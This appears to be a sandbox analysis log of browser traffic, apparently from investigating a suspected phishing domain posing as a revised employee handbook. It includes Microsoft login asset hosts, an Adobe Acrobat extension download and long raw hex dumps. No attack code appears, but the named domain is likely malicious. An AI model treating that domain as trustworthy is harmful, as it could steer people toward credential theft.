Apr 2, 2025 08:38:55.540597916 CEST	1.1.1.1	192.168.2.17	0x4bfe	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clients2.googleusercontent.com

chrome.google.com

otelrules.svc.static.microsoft

revisedemployeehandbook.journeythroughruins.de

code.jquery.com

5298925908-1317754460.cos.ap-tokyo.myqcloud.com

res.cloudinary.com

aadcdn.msftauth.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49714	142.250.72.97	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:38:51 UTC	578	OUT	GET /crx/blobs/Ad_brx2zn0VllUfDy3IInsf2x_JT_KYwvCFCBKIccViK8GQrmAxO7uKh27DftB49uvpTV6LoiwfTytfG26LWZ9yEblrh9n2ArDUdsJt1S0eRDzFPHmbtV_p0UKkid0dN6ohjAMZSmuWMxdBIryELE2Jro2LlEMjsJPgraw/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_25_3_1_1.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:38:51 UTC	570	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AKDAyItQNI64ia-jXkZ9Ew-T14co0HMuMOaN6cKm_MCSqER8sR2ClVdcEcc3ty3xvne4UdOKuUMZrwc Accept-Ranges: bytes Content-Length: 2799200 X-Goog-Hash: crc32c=IYZ8UA== Server: UploadServer Date: Wed, 02 Apr 2025 03:55:34 GMT Expires: Thu, 02 Apr 2026 03:55:34 GMT Cache-Control: public, max-age=31536000 Age: 9797 Last-Modified: Thu, 13 Mar 2025 13:10:28 GMT ETag: a42d6fed_d0820cd3_8eedda79_d16ec275_a2390437 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-04-02 06:38:51 UTC	650	IN	Data Raw: 43 72 32 34 03 00 00 00 18 04 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 8f fb bf 5c 37 63 94 3c b0 ee 01 c4 b5 a6 9a b1 9f 46 74 6f 16 38 a0 32 27 35 dd f0 71 6b 0e dc f6 25 cb b2 ed ea fb 32 d5 af 1e 03 43 03 46 f0 a7 39 db 23 96 1d 65 e5 78 51 f0 84 b0 0e 12 ac 0e 5b dc c9 d6 4c 7c 00 d5 b8 1b 88 33 3e 2f da eb aa f7 1a 75 c2 ae 3a 54 de 37 8f 10 d2 28 e6 84 79 4d 15 b4 f3 bd 3f 56 d3 3c 3f 18 ab fc 2e 05 c0 1e 08 31 b6 61 d0 fd 9f 4f 3f 64 0d 17 93 bc ad 41 c7 48 be 00 27 a8 4d 70 42 92 05 54 a6 6d b8 de 56 6e 20 49 70 ee 10 3e 6b d2 7c 31 bd 1b 6e a4 3c 46 62 9f 08 66 93 f9 2a 51 31 a8 db b5 9d b9 0f 73 e8 a0 09 32 01 e9 7b 2a 8a 36 a0 cf 17 b0 50 70 9d a2 f9 a4 6f 62 4d Data Ascii: Cr240"0H0\7c<Fto82'5qk%2CF9#exQ[L\|3>/u:T7(yM?V<?.1aO?dAH'MpBTmVn Ip>k\|1n<FbfQ1s2{*6PpobM
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: 59 a5 a1 9b bf da 69 7c 2c 56 0d 18 d1 3a 81 04 92 22 01 97 65 c7 80 14 24 71 ce 3f 84 5d 22 37 ee 43 48 3c 84 ab 74 ac e7 09 37 64 03 aa 12 29 4a 45 11 53 9c a0 3f 79 f4 34 05 a9 e3 5b 96 20 7d 31 5f 99 ad 94 93 f8 33 95 c4 0a 5d 31 22 73 b0 27 33 23 02 03 01 00 01 12 80 01 25 f6 f6 f4 5c d8 60 0d 83 8e 7d 09 f1 c3 7f ad b6 21 2a b8 1f 3b 1c 7d 63 44 10 3d 8a 21 cb 9e b2 20 20 a4 12 77 ad 11 45 4a 8a 60 ef 1c e7 42 26 12 da ac ac ad a8 6d d7 aa 99 b3 95 41 a9 d5 54 56 a7 02 c4 04 81 a4 22 b9 2c 28 4b d8 43 f6 4c 83 1d 1a da cd b1 a0 17 e3 62 ac f0 ec 75 75 b7 14 cc 17 ed 1e 9f 02 13 08 76 07 fb 22 dd 7a a6 60 e1 6d 03 f2 da 2a 85 48 d2 74 c3 cc 3c 33 1a a5 01 0a 5b 30 59 30 13 06 07 2a 86 48 ce 3d 02 01 06 08 2a 86 48 ce 3d 03 01 07 03 42 00 04 b4 02 f9 Data Ascii: Yi\|,V:"e$q?]"7CH<t7d)JES?y4[ }1_3]1"s'3#%\`}!;}cD=! wEJ`B&mATV",(KCLbuuv"z`mHt<3[0Y0H=H=B
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: 45 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 8c 43 4f 97 3f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 93 4f 6b db 40 10 c5 ef fa 14 13 1d 4b 2c 85 1c 8b 6c 70 fd 07 0c c5 0e b6 7b e8 a9 ac 77 c7 d6 94 d5 ae 98 1d 27 e8 db 77 24 b9 86 50 08 3d 64 75 91 46 f3 de fc f4 56 5b 3d 2c 77 8b e3 cf 97 15 d4 d2 f8 59 56 3d 4c 26 59 f9 e5 b3 56 a6 17 cc 97 bb 6f 2b 58 ec b6 eb cd 72 b5 3d 6e e6 df b5 f8 eb df 35 34 c3 22 b6 1d d3 a5 16 78 7e 7a 7e 82 b9 8b 27 84 43 97 04 9b 04 9b 60 23 b7 91 8d a0 eb 9b e7 de c3 be 6f 4e b0 c7 84 fc 8a ae 18 6c b6 bb e3 66 b1 fa 3a 76 50 38 47 6e 8c 50 0c 60 63 10 43 01 1d d4 c8 48 01 28 3d 82 09 0e 18 1b ad 27 d5 4a 8d d0 72 6c 91 a5 83 78 fe 00 61 10 92 0e 4f d7 b6 f5 84 9c 1e 55 4f 67 ad 77 05 c0 51 8d 28 08 7a 8f Data Ascii: Eg CO?Ok@K,lp{w'w$P=duFV[=,wYV=L&YVo+Xr=n54"x~z~'C`#oNlf:vP8GnP`cCH(='JrlxaOUOgwQ(z
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: 03 d5 0d c3 c5 ec 62 06 0b e3 37 08 1f fb c8 d8 46 58 3b ed 43 e7 83 62 34 29 79 61 2d 7c 48 c9 11 3e 60 c4 b0 47 53 0c 30 37 b7 77 eb e5 ea 72 cc 20 b7 f5 a1 55 4c de 81 f6 8e 15 39 34 d0 60 40 72 40 71 0a ca 19 08 d8 ca 7e 94 5a 6e 10 ba e0 3b 0c dc 83 df fe 82 c2 50 48 d2 3c ee ba ce 12 86 38 95 7a da ca 7e 5f 00 dc 09 10 39 46 6b 51 f3 4e d9 21 9d 51 37 8e b4 ac 84 8a c6 4e aa 4f 9c a4 f8 c8 4a 85 91 43 20 64 15 7a 60 ff 3f 68 48 f9 89 c8 b0 d7 aa 1e a4 46 fb bd a0 1a d8 f4 70 5f 7c 2c 86 d0 5b 2f 7d 6a 07 ef 05 c0 f1 c0 bb 1b a7 42 39 b5 d6 18 8f ca 1c b9 08 71 1e 41 38 28 83 10 51 07 64 f0 41 f0 1f 2d b3 ea 20 fa c3 35 c5 88 2d b9 51 72 91 90 1b 8a 67 36 48 55 40 01 35 3b 7d 96 23 61 0c a4 6c 92 51 64 e5 40 9a 6d 0f 52 b8 21 63 d0 c1 ce 59 21 26 7c Data Ascii: b7FX;Cb4)ya-\|H>`GS07wr UL94`@r@q~Zn;PH<8z~_9FkQN!Q7NOJC dz`?hHFp_\|,[/}jB9qA8(QdA- 5-Qrg6HU@5;}#alQd@mR!cY!&\|
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: e0 05 1a 90 19 d7 62 25 8c 26 a4 2c 1d 2a 39 7a 15 97 5d 33 7a f9 ba 1f f2 e5 eb 55 e4 d1 a4 27 14 09 3d b6 b3 09 42 eb 10 d1 da 45 e3 b6 96 5b d1 8a 55 ce 2a a4 73 58 e7 9a 9f dc dc 32 66 74 60 6e b1 7e 12 4d 5e ae 6e a6 e1 51 aa b2 2a 57 22 8c 1f 0b f1 a5 b3 05 1f 30 a4 4d 82 7b 76 cd e8 4b f7 84 37 59 9a 9f 4c b9 00 67 47 ff 31 8c a5 71 6c 9f 35 f5 74 67 f6 6a c5 c6 ae 37 2c 2e f8 cc 8c af 31 3c e9 45 e4 43 6e 5c 70 d9 75 e9 25 6d 4b 27 34 8f 0c 58 17 93 cc 06 e2 15 ed 8c 2f 9b a8 33 7e 0f f2 f8 ec 4f 98 b9 60 7e 82 21 fa 46 70 63 07 73 39 96 78 be 16 a6 04 e3 04 fb dd 85 57 7f 0d 0c 66 e3 ed d0 85 99 a9 22 34 2f 88 be 19 cc e3 dd f1 c9 b9 bf 21 f5 a3 74 71 2a 78 c6 67 5c 70 bb b8 0c 11 76 f8 6e ac d5 7c 56 b9 2d 0d 93 a8 fe 1d 85 df 11 72 10 7d 75 d9 Data Ascii: b%&,9z]3zU'=BE[UsX2ft`n~M^nQW"0M{vK7YLgG1ql5tgj7,.1<ECn\pu%mK'4X/3~O`~!Fpcs9xWf"4/!tqxg\pvn\|V-r}u
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: 5c 61 3d bc f1 2f 0a ab b7 5f 73 94 e1 3f 10 44 6c 46 e6 dc 5d cc 8b f6 93 e7 0c 4b 52 97 85 d4 36 78 75 f0 f5 5f 50 4b 07 08 e3 e4 7e d9 d6 06 00 00 6c 22 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 2d 00 73 63 68 65 6d 61 2e 6a 73 6f 6e 55 54 05 00 01 3a c6 91 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 99 b7 3a b9 d4 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 90 cd 4e c3 30 10 84 ef 79 8a 55 2e 5c 2a 7a e7 56 09 89 f6 80 40 a2 3c 80 93 ac 13 23 d7 6b d9 6b 95 a8 ea bb 63 3b 21 fd 51 10 39 f8 32 3b b3 3b 9f 4f 05 40 c9 bd c5 f2 09 4a aa be b0 e6 72 95 34 eb c8 a2 63 85 3e 4e 4e 51 89 da 9b 45 b3 45 6d bf 27 29 85 15 eb 9c 4e 53 e8 d2 18 58 54 8f 79 4d 76 34 e8 6b a7 2c 2b 32 c9 b7 93 e0 91 81 09 Data Ascii: \a=/_s?DlF]KR6xu_PK~l"PK!-schema.jsonUT:f :N0yU.\*zV@<#kkc;!Q92;;O@Jr4c>NNQEEm')NSXTyMv4k,+2
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: 63 7e ce 4e 5d 25 80 d7 4e 0b 92 55 4b c8 11 d3 67 90 bb 1b 4f af a8 2a 9d 74 9e 68 9a b9 a8 ea be bf 68 3e 42 65 a2 e4 17 ca 11 4d 7a 60 93 3b 2a d4 dc 95 0e 13 e4 49 a3 f6 13 b4 de 48 44 8b 7f 6f 9d b8 4a aa 32 85 ae 3e 22 b9 b4 82 9b 9b d2 8e 64 3f 2d 84 0f 49 06 5d 53 c5 2b e3 f3 ff a3 cb 63 99 aa 85 db 9a 42 63 bd 2a 72 1a e4 ca d4 fa 16 9b e5 35 78 bb 37 c1 de 50 2d 64 ae 58 3a c8 98 9c d5 cb 57 ff c9 5d 2b 94 18 8e ac b8 a3 7f 2a 32 3e cf c6 49 a6 a4 d2 ad 95 19 34 c1 0f e6 b3 3f 9c d7 b2 ac 97 9c cf e6 eb b5 a7 24 57 b3 26 70 43 e5 5a 84 5b fd 76 c4 9e b9 a0 05 f2 a0 7e 6d 5b 83 23 d2 13 a5 c3 cb 7b 9f 1f 8e 3f df ab 0d 1e 32 bc dc b9 9e d3 29 f2 89 48 b6 42 78 77 44 ed 06 77 ca 6a e0 ce 45 58 c7 cc b1 47 7b 4a 37 9b bb 57 bb d4 70 dd 27 95 b2 1c Data Ascii: c~N]%NUKgOthh>BeMz`;IHDoJ2>"d?-I]S+cBcr5x7P-dX:W]+2>I4?$W&pCZ[v~m[#{?2)HBxwDwjEXG{J7Wp'
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: 0d 14 4f 85 61 17 23 b2 9b 21 fe 05 50 4b 07 08 e6 4b 4e 8b 11 07 00 00 36 12 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 12 00 2d 00 73 69 67 6e 49 6e 48 61 6e 64 6c 65 72 2e 68 74 6d 6c 55 54 05 00 01 3a c6 91 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 99 b7 3a b9 d4 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 94 41 6f 1a 31 10 85 ef fc 8a c9 1e ab 2c 1b e5 58 41 24 0a 44 45 aa 20 4a e8 21 a7 ca d8 03 3b 91 d7 5e 8d 87 a0 ed af ef 78 97 22 a1 4a 51 0f 31 97 dd f1 bc 37 1f cf f2 4e 6e 16 9b f9 f6 f5 69 09 b5 34 fe 61 34 b9 29 cb 51 f5 e5 b3 d6 48 7f 30 5b 6c be 2d 61 be 59 3f ae 16 cb f5 76 35 fb a1 c5 5f ff ae be 19 e6 b1 ed 98 0e b5 c0 fd dd fd 1d cc 5c dc 21 bc 74 49 b0 49 b0 0a 36 72 1b d9 08 ba dc Data Ascii: Oa#!PKKN6PK!-signInHandler.htmlUT:f :Ao1,XA$DE J!;^x"JQ17Nni4a4)QH0[l-aY?v5_\!tII6r
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: 11 b2 e4 f8 90 c3 89 92 f3 9f a4 0b b5 fe b2 e7 fa 0b 9f a3 5b b3 a1 82 96 6b c3 19 26 5e 13 d8 5a 09 4e 10 5c 33 39 9f 4b 71 7d 38 0d fe d6 4e 7b 47 69 ce 2c de ec f0 3b f8 39 a8 b2 fd 62 c0 22 d5 31 72 67 3f 86 57 86 97 16 a7 f7 38 6b 38 06 f4 95 7c 5d 5b 84 d8 23 16 d6 72 0c 19 24 c3 61 9a 75 07 16 25 f7 28 0d c6 60 2b 9c 5c a0 60 3d 89 8d 3c 30 98 d7 69 2d 8f 9f 5f bc b4 80 2b dd 20 6a ee 92 62 ef b4 d9 db 9b cb 22 01 2b 32 a9 44 dd 0c ae b7 b1 bd 10 d4 72 22 d1 fc 06 63 2e 0a d7 da 3d bf 3e ed e5 dd c8 0d 82 00 bc e8 0f 63 df 9a 97 e6 10 57 cc 4b f2 34 48 f3 6c 34 4c 1f 93 fc 79 18 dd c2 b7 e6 6c 05 e3 db 45 31 b9 c7 09 00 15 6d 1e 93 ec 39 bc f1 87 79 de bb 8b 9f c2 96 1f 3f 0f f3 f0 76 7b 02 8e 6b 61 d1 a6 f1 3b 44 7c dc ef 27 59 27 6c 9d e2 ee 71 Data Ascii: [k&^ZN\39Kq}8N{Gi,;9b"1rg?W8k8\|][#r$au%(`+\`=<0i-_+ jb"+2Dr"c.=>cWK4Hl4LylE1m9y?v{ka;D\|'Y'lq
2025-04-02 06:38:51 UTC	1220	IN	Data Raw: 3a d0 25 a5 c5 6d 8d 9a a4 f5 0c da 50 7d 20 47 61 43 de fb c1 f4 8b a2 ae 93 9b db e9 ba 36 bb b6 91 47 5b 52 b2 76 86 fd a5 30 97 29 e8 82 4f e0 97 a3 6e e5 48 60 5b f2 28 6a fb 00 43 01 e8 9a a7 a0 a0 99 0c 87 32 cc b2 e1 dd 3a 98 08 1e 51 74 0b e5 36 dd 4e aa 90 cf 9c 53 8d 0c 36 b0 d8 54 20 3d 4d 1f 24 19 b0 e0 04 ab 4b 30 e8 c5 38 a2 7a 84 4e 73 ae a2 ad 5e f3 37 4a e6 44 a4 80 2c da f6 9f c9 9b 71 d7 8e 49 b6 e0 9c a9 cb 98 5a 11 46 95 10 2b 19 5e 43 ae 64 49 93 52 1b f8 75 c0 06 c3 7e 15 0f 06 91 f0 b6 76 29 7d a6 e4 50 83 03 91 91 b7 75 e1 e9 ac 15 3e 39 19 bf 7d 77 cc ff bc 9e 5f ca e0 00 b3 d1 eb 86 9b 48 16 60 36 98 0f 27 27 ef a2 a9 91 fb 98 e4 49 1b ee a2 6d a0 84 c2 50 0e 27 3d 99 1b 39 75 89 2a fd 7c 06 85 2e 35 79 8b d4 14 8a 66 20 6c 32 Data Ascii: :%mP} GaC6G[Rv0)OnH`[(jC2:Qt6NS6T =M$K08zNs^7JD,qIZF+^CdIRu~v)}Pu>9}w_H`6''ImP'=9u*\|.5yf l2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49720	35.190.80.1	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:38:54 UTC	621	OUT	OPTIONS /report/v4?s=PY3b5j5TOBaQDA2iTcSjiZdt168fqBtAmZdv%2Fqwbb7NqAGfSm5CIsJIJX6FzvfIRYBLrhfuTHgRKRJw9I7kz2jfPZ0uMmT4RBzi2fmBGu%2BX3SkpiC3yrmjmqsE%2BJ3a9JTpVU2aEpLvJRVZi1Vpo0oe%2BT%2F083ft6ls0sZeFhCjH8o HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://revisedemployeehandbook.journeythroughruins.de Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:38:54 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 02 Apr 2025 06:38:54 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49726	142.251.41.14	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:38:58 UTC	405	OUT	GET /webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj HTTP/1.1 Host: chrome.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:38:59 UTC	1531	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 02 Apr 2025 06:38:59 GMT Content-Disposition: attachment; filename="json.txt"; filename*=UTF-8''json.txt P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-Z8TODMGTTZ3M2mMILZmxWA' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';worker-src 'self';report-uri /webstore/cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/chromewebstore/2 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="coop_chromewebstore" Report-To: {"group":"coop_chromewebstore","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/chromewebstore"}]} Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: NID=522=DUX6CUgf5oQkleCILJscqHfb3kOVzfQoQDAEI0TupLdNb4WWlLcxMgyeP4f3rHys8Zs3aHS4L2C_pJPyCmc1RGd1IK90Qpb6711kP4IIqPXpLg9i84GuuZuOQLL2PLwo9wn9WILNdT8gbyAs-ZaUFOmVb5Ik4cP6MQM4F3zuPd3rxu83OC9VFm07UOPLcaq-JMDw5A; expires=Thu, 02-Oct-2025 06:38:59 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-04-02 06:38:59 UTC	1531	IN	Data Raw: 32 36 66 61 0d 0a 7b 22 69 63 6f 6e 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 68 33 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 61 71 61 68 47 7a 33 65 75 58 61 64 6d 74 6d 70 38 4e 5a 6e 75 4b 50 6f 55 6d 34 63 6d 65 77 4e 59 30 41 49 31 61 5f 63 4d 73 43 32 38 63 66 76 42 32 42 78 33 4e 41 72 59 39 4d 69 35 30 6f 32 7a 46 34 35 55 68 37 34 52 6d 6d 71 2d 42 68 36 64 4a 52 73 56 41 62 6d 22 2c 22 73 68 6f 77 5f 75 73 65 72 5f 63 6f 75 6e 74 22 3a 74 72 75 65 2c 22 6c 6f 63 61 6c 69 7a 65 64 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 6f 20 6d 6f 72 65 20 69 6e 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 20 77 69 74 68 20 41 64 6f 62 65 20 41 63 72 6f 62 61 74 20 50 44 46 20 74 6f 6f 6c 73 2e 20 56 69 65 77 2c 20 66 69 6c Data Ascii: 26fa{"icon_url":"https://lh3.googleusercontent.com/aqahGz3euXadmtmp8NZnuKPoUm4cmewNY0AI1a_cMsC28cfvB2Bx3NArY9Mi50o2zF45Uh74Rmmq-Bh6dJRsVAbm","show_user_count":true,"localized_description":"Do more in Google Chrome with Adobe Acrobat PDF tools. View, fil
2025-04-02 06:38:59 UTC	1531	IN	Data Raw: 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 31 36 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 34 38 5c 22 3a 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 34 38 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 31 32 38 5c 22 3a 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 31 32 38 2e 70 6e 67 5c 22 5c 6e 20 20 20 20 7d 2c 5c 6e 20 20 20 20 5c 22 61 63 74 69 6f 6e 5c 22 3a 20 7b 5c 6e 20 20 20 20 20 20 20 20 5c 22 64 65 66 61 75 6c 74 5f 74 69 74 6c 65 5c 22 3a 20 5c 22 5f 5f 4d 53 47 5f 65 78 74 65 6e 73 69 6f 6e 4d 65 6e 75 54 69 74 6c 65 5f 5f 5c 22 2c 5c 6e 20 20 20 20 Data Ascii: images/acrobat_dc_appicon_16.png\",\n \"48\": \"browser/images/acrobat_dc_appicon_48.png\",\n \"128\": \"browser/images/acrobat_dc_appicon_128.png\"\n },\n \"action\": {\n \"default_title\": \"__MSG_extensionMenuTitle__\",\n
2025-04-02 06:38:59 UTC	1531	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 5c 22 68 74 74 70 3a 2f 2f 2a 2f 2a 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 68 74 74 70 73 3a 2f 2f 2a 2f 2a 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 73 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 63 73 73 2f 65 78 70 72 65 73 73 2d 74 6f 6f 6c 74 69 70 2e 63 73 73 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 6a 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 6f 6e 74 65 6e 74 5f 73 63 72 69 70 74 73 2f 65 78 70 72 65 73 73 2f 65 78 70 72 65 73 73 2d 6d 61 73 74 65 72 2d 63 6f 6e 74 65 6e Data Ascii: \"http:///\",\n \"https:///\"\n ],\n \"css\": [\n \"browser/css/express-tooltip.css\"\n ],\n \"js\": [\n \"content_scripts/express/express-master-conten
2025-04-02 06:38:59 UTC	1531	IN	Data Raw: 74 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2a 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 6a 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 6f 6e 74 65 6e 74 5f 73 63 72 69 70 74 73 2f 67 64 72 69 76 65 2d 64 6f 77 6e 6c 6f 61 64 2d 70 61 67 65 2d 63 6f 6e 74 65 6e 74 2d 73 63 72 69 70 74 2e 6a 73 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 72 75 6e 5f 61 74 5c 22 3a 20 5c 22 64 6f 63 75 6d 65 6e 74 5f 65 6e 64 5c 22 5c 6e 20 20 20 20 20 20 20 20 7d 2c 5c 6e 20 20 20 20 20 20 20 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 6d 61 74 63 68 65 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 Data Ascii: t.google.com/download*\"\n ],\n \"js\": [\n \"content_scripts/gdrive-download-page-content-script.js\"\n ],\n \"run_at\": \"document_end\"\n },\n {\n \"matches\": [\n
2025-04-02 06:38:59 UTC	1531	IN	Data Raw: 74 2e 6a 73 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 6a 73 2f 76 69 65 77 65 72 2f 6c 6f 63 61 6c 46 69 6c 65 53 69 67 6e 49 6e 52 65 64 69 72 65 63 74 69 6f 6e 2e 68 74 6d 6c 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 6a 73 2f 76 69 65 77 65 72 2f 6c 6f 63 61 6c 46 69 6c 65 53 69 67 6e 49 6e 52 65 64 69 72 65 63 74 69 6f 6e 2e 68 74 6d 6c 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 6a 73 2f 64 6f 77 6e 6c 6f 61 64 2d 62 61 6e 6e 65 72 2e 68 74 6d 6c 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 6a 73 2f 73 75 63 63 65 73 73 54 6f 61 73 74 2e 68 74 6d 6c 5c 22 Data Ascii: t.js\",\n \"browser/js/viewer/localFileSignInRedirection.html\",\n \"browser/js/viewer/localFileSignInRedirection.html\",\n \"browser/js/download-banner.html\",\n \"browser/js/successToast.html\"
2025-04-02 06:38:59 UTC	1531	IN	Data Raw: 61 6e 65 6c 55 74 69 6c 2e 6a 73 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 6f 6d 6d 6f 6e 2f 6c 6f 63 61 6c 2d 73 74 6f 72 61 67 65 2e 6a 73 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 6c 69 62 73 2f 2a 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 6d 61 74 63 68 65 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 3c 61 6c 6c 5f 75 72 6c 73 3e 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 5c 6e 20 20 20 20 20 20 20 20 7d 2c 5c 6e 20 20 20 20 20 20 20 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 72 65 73 6f 75 72 63 65 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 6f 6e Data Ascii: anelUtil.js\",\n \"common/local-storage.js\",\n \"libs/*\"\n ],\n \"matches\": [\n \"<all_urls>\"\n ]\n },\n {\n \"resources\": [\n \"con
